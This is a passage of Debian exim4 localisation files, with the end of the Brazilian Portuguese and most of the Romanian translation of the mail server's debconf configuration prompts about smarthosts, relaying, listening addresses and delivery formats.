"Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Mensagens para 'postmaster', 'root' e outras contas de sistema precisam ser " "redirecionadas para a conta de usuário do verdadeiro administrador do " "sistema." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Caso este valor seja deixado em branco, tais mensagens serão gravadas em /" "var/mail/mail, o que não é recomendado." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Note que as mensagens para o postmaster deverão ser lidas no sistema para o " "qual as mesmas são direcionadas ao invés de serem encaminhadas para qualquer " "outro lugar, portanto, os usuários (ou pelo menos um deles) listados aqui " "não deverão redirecionar suas mensagens para fora desta máquina. Um prefixo " "\"real-\" pode ser usado para forçar a entrega local." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Múltiplos nomes de usuários precisam ser separados por espaços." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Lista de endereços IP nos quais escutar por conexões SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Por favor, informe uma lista de endereços IP separados por ponto e vírgula. " "O daemon do Exim aguardará por requisições em todos os endereços IP listados " "aqui." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Um valor em branco fará com que o Exim ouça por conexões em todas as " "interfaces de rede disponíveis." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Se este sistema só recebe mensagens diretamente de serviços locais (e não a " "partir de outras máquinas), sugere-se proibir conexões externas ao daemon " "Exim local. Tais serviços incluem programas de e-mail (MUAs) que conversem " "somente com o localhost assim como o fetchmail. Conexões externas são " "impossíveis quando 127.0.0.1 é informado aqui, pois isto desabilitará a " "escuta em interfaces de rede públicas." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Manter o número de pesquisas DNS mínimas (Discagem-sob-Demanda)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "No modo normal de operação, o Exim executa pesquisas DNS na inicialização e " "quando está recebendo ou entregando mensagens. Isto é feito para propósitos " "de registro em log e para manter baixo o número de valores codificados " "manualmente na configuração." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Se este sistema não possui um serviço de resolução DNS completo disponível a " "todo momento (por exemplo, caso o acesso à Internet do mesmo seja discado " "usando discagem-sob-demanda), isto pode trazer consequências indesejadas. " "Por exemplo, iniciar o Exim ou executar a fila (mesmo sem nenhuma mensagem " "aguardando) pode disparar um evento de discagem que pode gerar custos." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Esta opção deverá ser selecionada se este sistema estiver usando Discagem-" "sob-Demanda. Se este sistema possui conexão permanente com a Internet, esta " "opção deverá ser desabilitada." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuração do Servidor de Mensagens" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Dividir a configuração em pequenos arquivos?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Os pacotes Debian do exim4 podem usar uma \"configuração não dividida\", um " "único arquivo monolítico (/etc/exim4/exim4.conf.template) ou uma " "\"configuração dividida\", onde os arquivos de configuração do Exim são " "construídos a partir de cerca de 50 arquivos menores em /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Uma configuração não dividida é mais indicada para grandes modificações e é " "geralmente mais estável, e uma configuração dividida oferece uma maneira " "confortável de fazer modificações menores mas é mais frágil e pode quebrar " "se modificada sem cuidado." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Uma discussão mais detalhada sobre configuração dividida e não dividida pode " "ser encontrada nos arquivos README específicos do Debian em /usr/share/doc/" "exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Ocultar nome do domínio local nas mensagens enviadas?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Os cabeçalhos das mensagens enviadas podem ser reescritos para fazer com que " "elas pareçam ter sido geradas em um sistema diferente. Se esta opção for " "escolhida, '${mailname}', 'localhost' e '${dc_other_hostnames}' são " "reescritos nos campos From, Reply-To, Sender e Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Formato \"mbox\" em /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Formato \"Maildir\" no diretório pessoal (\"home\")" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Método de entrega para mensagens locais:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "O Exim é capaz de armazenar mensagens entregues localmente em diferentes " "formatos. Os formatos mais comumente usados são mbox e Maildir. O formato " "mbox usa um único arquivo para toda a caixa-postal armazenada em /var/mail. " "No formato Maildir, cada mensagem é armazenada em um arquivo separado em ~/" "Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Por favor, note que a maioria das ferramentas de mensagens no Debian, em " "suas configurações padrão, esperam que o método de entrega local seja o mbox." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Mover mensagens ainda não entregues do spool do exim 3 para o spool do " #~ "exim4 ?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Existem algumas mensagens não entregues no diretório de spool do exim 3 " #~ "(ou do exim-tls 3) em /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Escolher esta opção irá mover essas mensagens para o spool do exim4 (/var/" #~ "spool/exim4/input/) onde as mesmas serão gerenciadas pelo exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Isso funciona somente em um sentido único : o Exim4 pode gerenciar o " #~ "spool do exim 3 mas o contrário não é possível. Se você rejeitar essa " #~ "opção , você mesmo terá que mover as messagens ou elas não irão ser " #~ "entreges nunca." debian/po/ro.po0000644000000000000000000010334012027557533010576 0ustar # translation of ro.po to Romanian # Romanian translation # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # Eddy Petrișor , 2004, 2005, 2006, 2007. msgid "" msgstr "" "Project-Id-Version: ro\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-14 10:24+0300\n" "Last-Translator: Eddy Petrișor \n" "Language-Team: Romanian \n" "Language: ro\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" "Plural-Forms: nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < " "20)) ? 1 : 2;\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Se șterg mesajele nelivrate din directorul „spool”?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "În directorul „spool” al lui Exim, /var/spool/exim4/input, se află mesaje " "care nu au fost livrate încă. Dacă Exim este șters, acestea vor rămâne " "nelivrate până la reinstalarea lui Exim." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Dacă nu se alege această opțiune, directorul „spool” este păstrat, permițând " "mesajelor din coada de așteptare să fie livrate la o dată ulterioară, după " "reinstalarea lui Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfigurați exim4-config în loc să-l configurați pe acesta." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 își crează configurația printr-un pachet dedicat, exim4-config. Pentru " "reconfigurarea lui Exim4, folosiți „dpkg-reconfigure exim4-config”." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "site internet; mesajele se trimit și se recepționează direct folosind SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "mesaje trimise prin „smart host”; recepționate prin SMTP sau „fetchmail”" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "mesaje trimise prin „smart host”; fără mesaje locale" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "doar mesaje locale; nu este în rețea" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "nu se configurează acum" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Tip general de configurare a poștei electronice:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Alegeți tipul de configurație care se potrivește cel mai bine nevoilor " "dumneavoastră." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemele cu adrese IP dinamice, inclusiv sistemele „dialup”, ar trebui, în " "general, să fie configurate să trimită mesajele destinate exteriorului către " "o altă mașină, numită „stație inteligentă” (eng.: „smart host”) spre a fi " "livrate deoarece, în Internet, multe sisteme care recepționează " "corespondență blochează mesajele recepționate de la adrese IP dinamice, ca o " "protecție împotriva mesajelor nesolicitate (zise și „spam”)." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Un sistem cu adresă IP dinamică își poate recepționa singur propria " "corespondență sau poate avea sistemul local de livrare dezactivat total " "(exceptând mesajele pentru root și postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "" "Sunteți sigur că doriți să lăsați sistemul de poștă electronică neconfigurat?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Până la configurarea sistemului de poștă electronică, acesta va fi " "nefuncțional și inutilizabil. Configurarea ulterioară este posibilă, fie " "manual, fie prin rularea comenzii „dpkg-reconfigure exim4-config” ca " "utilizatorul root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Numele de poștă al sistemului:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "„Numele de poștă” este numele de domeniu folosit pentru a completa adresele " "fără nume de domeniu." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Acest nume va fi folosit și de alte programe. Ar trebui să fie singurul nume " "de domeniu complet (FQDN - fully qualified domain name)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "De exemplu, dacă o adresă de poștă electronică este cineva@exemplu.org, " "atunci valoarea corectă a acestei opțiuni ar fi exemplu.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Dacă rescrierea este activată, acest nume nu va apărea pe liniile „From:” " "ale mesajelor expediate." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Alte destinații pentru care se acceptă poșta electronică:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Vă rugăm să introduceți o listă de domenii (separate prin simbolul „punct și " "virgulă”) pentru care această mașină ar trebui să se considere destinație " "finală. Numele complet de domeniu al sistemului (${fqdn}) și „localhost” vor " "fi adăugate mereu la această listă." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Implicit, toate domeniile locale vor fi tratate la fel. Dacă atât a.exemplu " "cât și b.exemplu sunt domenii locale, gigi@a.exemplu și gigi@b.exemplu vor " "fi livrate către o aceiași destinație finală. Dacă doriți ca diferitele nume " "de domeniu să fie tratate diferit, este necesară editarea ulterioară a " "fișierelor de configurare." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domeniile pentru care se intermediază poșta electronică:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Introduceți o listă de domenii-destinatar (separate prin simbolul „punct și " "virgulă”) pentru care acest sistem va intermedia transmiterea mesajelor, de " "exemplu, ca MX de siguranță sau „mail gateway”. Acest lucru înseamnă că " "acest sistem va accepta corespondență pentru aceste domenii de oriunde din " "Internet și le va livra conform cu regulile locale de livrare." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Nu menționați aici domeniile locale. Se pot folosi caractere-joker." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Mașinile pentru care se intermediază:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Introduceți intervalele de adrese IP (separate prin simbolul „punct și " "virgulă”) pentru care este permis să își intermedieze poșta electronică prin " "acest sistem, folosindu-l ca „smart host”." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Trebuie să folosiți formatul standard adresă/prefix (ex.: 194.222.242.0/24 " "sau 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Dacă acest sistem nu ar trebui să fie un „smart host” pentru un oricare alt " "sistem, lăsați această listă goală." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Numele vizibil de domeniu pentru utilizatorii locali:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Opțiunea de ascundere a numelui local de poștă pentru mesajele expediate a " "fost activată. De aceea este necesar să precizați numele de domeniu pe care " "acest sistem ar trebui să-l folosească pentru partea de domeniu a adreselor " "expeditorilor locali." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" "Adresa IP sau numele mașinii care este „smart host” pentru mesajele " "expediate:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Introduceți adresa IP sau numele calculatorului pe care acest sistem o/îl va " "folosi ca „smart host” pentru mesajele expediate. Dacă „smart host”-ul vă " "acceptă corespondența doar pe un port diferit de TCP/25, adăugați la sfârșit " "două caractere „două puncte” și numărul portului (de exemplu exemplu." "smarthost::587 sau 192.168.254.254::2525). Caracterele „două puncte” trebuie " "dublate în adresele IPv6." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Dacă „smart host”-ul necesită autentificare, consultați fișierul README " "specific Debian din directorul /usr/share/doc/exim4-base pentru informații " "legate de felul în care se configurează autentificarea SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Adresa celui care primește mesajele pentru root și postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Poșta electronică pentru „postmaster”, „root” și alte conturi de sistem " "trebuie să fie redirecționate către contul de utilizator al " "administratorului de sistem." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Dacă această valoare este lăsată vidă, asemenea corespondență este salvată " "în /var/mail/mail, lucru nerecomandat." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "A se observa că mesajele pentru „postmaster” ar trebui să fie citite pe " "sistemul către care sunt direcționate, în loc să fie trimise în altă parte, " "astfel încât (cel puțin unul dintre) utilizatorii pe care îi alegeți să nu " "își redirecteze mesajele în afara mașinii curente. Puteți folosi prefixul " "„real-” pentru a forța livrarea locală." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "" "Dacă există mai multe nume de utilizatori, ele trebuie separate prin spații." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Adresele IP care așteaptă conexiuni SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Introduceți o listă de adrese IP, separate prin simbolul „punct și virgulă”. " "Demonul Exim SMTP care așteptă corespondență o va face la toate adresele IP " "enumerate aici." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Cu o valoare goală, Exim va aștepta conexiuni pe toate interfețele de rețea " "disponibile." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Dacă acest sistem recepționează poștă electronică doar de la servicii locale " "(și nu de la alte sisteme), este sugerat să interziceți conexiunile externe " "către serviciul Exim local. Asemenea servicii includ programele client de " "poștă electronică (abrev. eng. MUA) ce vorbesc strict cu „localhost”, cât și " "pe „fetchmail”. Conexiunile externe sunt imposibile atunci când aici se " "introduce 127.0.0.1, deoarece acest lucru va duce la dezactivarea așteptării " "de conexiuni pe interfețele de rețea publice." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "" "Se pastrează numărul de interogări DNS la minim (doar la cerere - Dial-on-" "Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "În modul normal de operare, Exim face interogări DNS la pornire și la " "livrarea sau la primirea de mesaje. Acesta se face în scop de jurnalizare și " "permite să existe număr mic de valori păstrate ca atare în fișierele de " "configurare." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Dacă acest sistem nu are acces permanent la un server DNS (de exemplu, dacă " "este folosită o conexiune la Internet de tip „dial-up” cu conectare la " "cerere), folosirea acestei opțiuni poate avea consecințe nedorite. De " "exemplu, pornirea lui Exim sau rularea cozii de mesaje (chiar și fără mesaje " "în așteptare) ar putea declanșa un eveniment de tip conexiune-la-cerere " "costisitor." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Această opțiune ar trebui selectată dacă acest sistem folosește accese acces-" "la-cerere. Dacă are acces permanent la Internet, această opțiune ar trebui " "să fie dezactivată." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configurare de server de poștă electronică" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Se împarte configurația în fișiere mici?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Pachetul Debian exim4 poate folosi fie „configurația unitară”, un singur " "fișier monolitic (/etc/exim4/exim4.conf.template), fie „configurația " "despărțită”, în care fișierele de configurare propriu-zise ale lui Exim sunt " "construite din aproximativ 50 de fișiere mici din /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Configurația unitară este mai potrivită pentru modificări masive și este, în " "general, mai stabilă, în timp ce configurația despărțită oferă un mod " "confortabil de a face mici modificări, însă este mai fragilă și chiar se " "poate corupe dacă este modificată fără atenție." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "O discuție mai detaliată despre configurațiile unitare și despărțite poate " "fi găsită în fișierul README specific Debian din directorul /usr/share/doc/" "exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Se ascunde numele sistemului de poștă local în mesajele de livrat?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Antetele mesajelor de livrat pot fi rescrise pentru a părea că sunt generate " "pe un alt sistem. Dacă este aleasă această opțiune, „${mailname}”, " "„localhost” și „${dc_other_hostnames}” din câmpurile From, Reply-To, Sender " "și Return-Path sunt rescrise." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Format mbox în /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Format Maildir în directorul „acasă”" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Metoda de livrare pentru mesaje locale:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim este capabil să stocheze mesajele livrate local în diverse formate. " "Cele mai comun folosite sunt mbox și Maildir. mbox folosește un singur " "fișier pentru întreaga căsuță poștală, fișier stocat în /var/mail. La " "formatul Maildir fiecare mesaj este stocat într-un fișier separat în ~/" "Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "A se observa că cele mai multe unelete de mesagerie electronică din Debian " "se așteapta ca metoda de livrare locală să fie implicit mbox." #~ msgid "Overwrite existing /etc/aliases?" #~ msgstr "Se suprascrie fișierul /etc/aliases existent?" #~ msgid "" #~ "An /etc/aliases file was found on the system, but it does not redirect " #~ "mail for root to a user account, which is strongly recommended." #~ msgstr "" #~ "Un fișier /etc/aliases a fost găsit în sistem, dar acesta nu " #~ "redirecționează mesajele pentru „root” către un cont de utilizator, lucru " #~ "recomandat cu tărie." #~ msgid "" #~ "Accepting this option will cause /etc/aliases to be overwritten, and the " #~ "old file will be renamed to aliases.O." #~ msgstr "" #~ "Dacă acceptați această opțiune, /etc/aliases va fi suprascris, iar " #~ "fișierul vechi va fi păstrat și redenumit în aliases.0." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Se mută mesajele nelivrate din exim 3 în directorul „spool” al exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Există câteva mesaje nelivrate în directorul „spool”, /var/spool/exim/" #~ "input/, al lui exim 3 (sau al lui exim-tls 3)." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Alegerea acestei opțiuni va duce la mutarea mesajelor în directorul " 